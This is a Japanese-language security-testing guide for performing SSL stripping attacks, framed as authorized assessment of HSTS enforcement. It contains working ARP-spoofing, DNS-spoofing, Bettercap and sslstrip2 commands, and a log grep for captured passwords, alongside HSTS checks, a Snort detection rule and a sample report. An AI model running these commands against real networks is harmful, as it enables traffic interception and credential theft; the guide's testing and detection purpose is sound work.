performing-ssl-stripping-attack

SSLストリッピング攻撃の実施

使用する場面

• WebアプリケーションがHSTSヘッダーとリダイレクトチェーンを通じてHTTPSを適切に強制しているかテストする場合
• HSTSプリロードが正しく設定され、ブラウザーのプリロードリストに登録されているか検証する場合
• 許可を得たセキュリティ評価で、平文HTTPのリスクを関係者に示す場合
• 内部アプリケーションやリッチクライアントがTLS証明書を検証し、ダウングレードを拒否するか評価する場合
• ネットワークトラフィック内のSSLストリッピングの兆候を検知できるよう、SOCチームをトレーニングする場合

明示的な書面による許可のないネットワークやアプリケーション、実際のユーザー認証情報の傍受、または変更管理の承認を得ずに営業時間中の本番システムに対して使用しないでください。

前提条件

• 対象範囲内のアプリケーションと承認済みの攻撃手法を明記した書面による許可
• 攻撃者のマシンにBettercap 2.xまたはsslstrip2がインストールされていること
• ARPスプーフィングなどによるMITMの位置取りが確立されていること（ARPスプーフィングのスキルを参照）
• 攻撃者のマシンでIPフォワーディングが有効になっていること
• 攻撃の成功を確認し、証拠を取得するためのWireshark
• 認証情報の傍受を実演するためのテストアカウント（実際のユーザー認証情報ではないもの）

法的通知： このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。所有していないシステムやテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ1：MITMの位置取りを確立する

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

ステップ2：BettercapでSSLストリッピングを実行する

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on

# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time

ステップ3：sslstrip2でSSLストリッピングを実行する

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

ステップ4：HSTSバイパス手法をテストする

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

ステップ5：検知と制御を検証する

# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection

# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt

# Verify what the victim sees vs what goes to the real server
# Victim to attacker: HTTP (port 80, cleartext)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20

# Attacker to real server: HTTPS (port 443, encrypted)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20

# Check IDS/SIEM for detection
# Snort rule that should detect SSL stripping indicators:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
#   flow:to_client,established; content:"type=\"password\""; nocase;
#   content:"http://"; nocase; sid:9000010;)

# Check for HSTS missing header alerts
curl -s http://target-app.example.com | grep -i "password\|login"
# If login form is served over HTTP, SSL stripping succeeded

ステップ6：クリーンアップして報告する

# Stop SSL stripping
# In Bettercap:
> http.proxy off
> arp.spoof off
> quit

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Kill background processes
sudo killall sslstrip2 arpspoof 2>/dev/null

# Verify network is restored
ping -c 1 192.168.1.1

重要な概念

用語	定義
SSLストリッピング	HTTPからHTTPSへのリダイレクトを傍受し、サーバーとの暗号化された接続を維持しながら、被害者には平文HTTPを提供するダウングレード攻撃
HSTS（HTTP Strict Transport Security）	指定された期間、ブラウザーにHTTPSのみで接続するよう指示するHTTPレスポンスヘッダーです。これにより、以降の訪問時のSSLストリッピングを防止します
HSTSプリロード	ブラウザーが管理するリストにドメインを申請し、最初の接続時からHTTPSを強制することで、初回訪問時の脆弱性が生じる時間帯をなくすことです
証明書の透明性	不正に発行された証明書の検知を可能にするTLS証明書の公開ログフレームワークですが、SSLストリッピングは防止しません
混在コンテンツ	HTTPSで提供されるWebページが、HTTPでリソース（スクリプト、画像）を読み込むことで生じる部分的なダウングレードの脆弱性
Upgrade-Insecure-Requests	ブラウザーにHTTPリクエストをHTTPSにアップグレードするよう指示するCSPディレクティブです。混在コンテンツの防止においてHSTSを補完します

ツールとシステム

• Bettercap 2.x：SSLストリッピング、HTTP/HTTPSプロキシ、認証情報のスニッフィング機能を統合したネットワーク攻撃フレームワーク
• sslstrip2：URL書き換えにより、HTTPSをHTTPに透過的にダウングレードする専用のSSLストリッピングツール
• mitmproxy：HSTSなどのセキュリティヘッダーを削除するようレスポンスヘッダーを変更できるTLS傍受プロキシ
• curl：HSTSヘッダー、リダイレクトチェーン、証明書の検証をテストするコマンドラインツール
• hstspreload.org：ブラウザーのプリロードデータベースにドメインが含まれているか確認するための公開HSTSプリロードリストチェッカー

よくあるシナリオ

シナリオ：銀行のウェブアプリケーションにおける HSTS 実装のテスト

コンテキスト：ある銀行は6か月前にオンラインバンキングポータル（banking.example.com）で HSTS を導入し、SSL ストリッピングを効果的に防止できているか確認したいと考えています。この評価は、専用のテストアカウントを使用し、テスト環境と同じ VLAN 上のワークステーションから行うことを許可されています。

アプローチ：

1. HSTS ヘッダーの有無と値を確認します：curl -sI https://banking.example.com | grep -i strict を実行すると、max-age=31536000; includeSubDomains; preload が表示されます
2. HSTS プリロードの状態を確認します：ドメインが Chrome と Firefox のプリロードリストに登録されていることを確認します
3. Bettercap を設定し、テスト用ワークステーションに対して ARP スプーフィングと SSL ストリッピングを行います
4. テスト用ワークステーションから banking.example.com へのアクセスを試みます。Chrome は NET::ERR_CERT_AUTHORITY_INVALID で接続を拒否します（HSTS によりダウングレードが防止されます）
5. 新しいブラウザープロファイル（HSTS キャッシュなし）でテストします。ドメインがプリロードされているため、引き続きブロックされます
6. 銀行のモバイルアプリをテストします。アプリは HTTP での接続に成功し（HSTS を適用していません）、認証情報が平文で漏えいします
7. サブドメイン api.banking.example.com をテストします。プリロードリストには登録されていないため、HSTS ヘッダーがキャッシュされる前の初回アクセスで SSL ストリッピングが成功します

落とし穴：

• 対象ドメインの HSTS がすでにキャッシュされたブラウザーでテストし、HSTS が機能すると結論づけてしまうこと。初回訪問者は脆弱な可能性があります
• サブドメインを個別にテストしないこと。includeSubDomains は、親ドメインの HSTS ヘッダーを受信した後にのみ機能します
• HSTS ヘッダーに対応していない可能性のあるモバイルアプリケーションのテストを忘れること
• HSTS が有効でもセッショントークンが漏えいする可能性のある混在コンテンツを確認しないこと

出力形式

## SSL Stripping Assessment Report

**Test ID**: SSL-STRIP-2024-001
**Target Application**: banking.example.com
**Test Date**: 2024-03-15

### HSTS Configuration

| Property | Value | Status |
|----------|-------|--------|
| HSTS Header Present | Yes | PASS |
| max-age | 31536000 (1 year) | PASS |
| includeSubDomains | Yes | PASS |
| preload | Yes | PASS |
| In Chrome Preload List | Yes | PASS |

### SSL Stripping Test Results

| Target | Client | HSTS Status | Strip Result |
|--------|--------|-------------|--------------|
| banking.example.com | Chrome (cached) | Active | BLOCKED |
| banking.example.com | Chrome (fresh) | Preloaded | BLOCKED |
| banking.example.com | Mobile App | Not Enforced | VULNERABLE |
| api.banking.example.com | Chrome (fresh) | Not Preloaded | VULNERABLE (first visit) |

### Recommendations
1. Implement TLS certificate pinning in the mobile banking app (Critical)
2. Submit api.banking.example.com to HSTS preload list separately
3. Add Content-Security-Policy: upgrade-insecure-requests header
4. Implement certificate transparency monitoring for the domain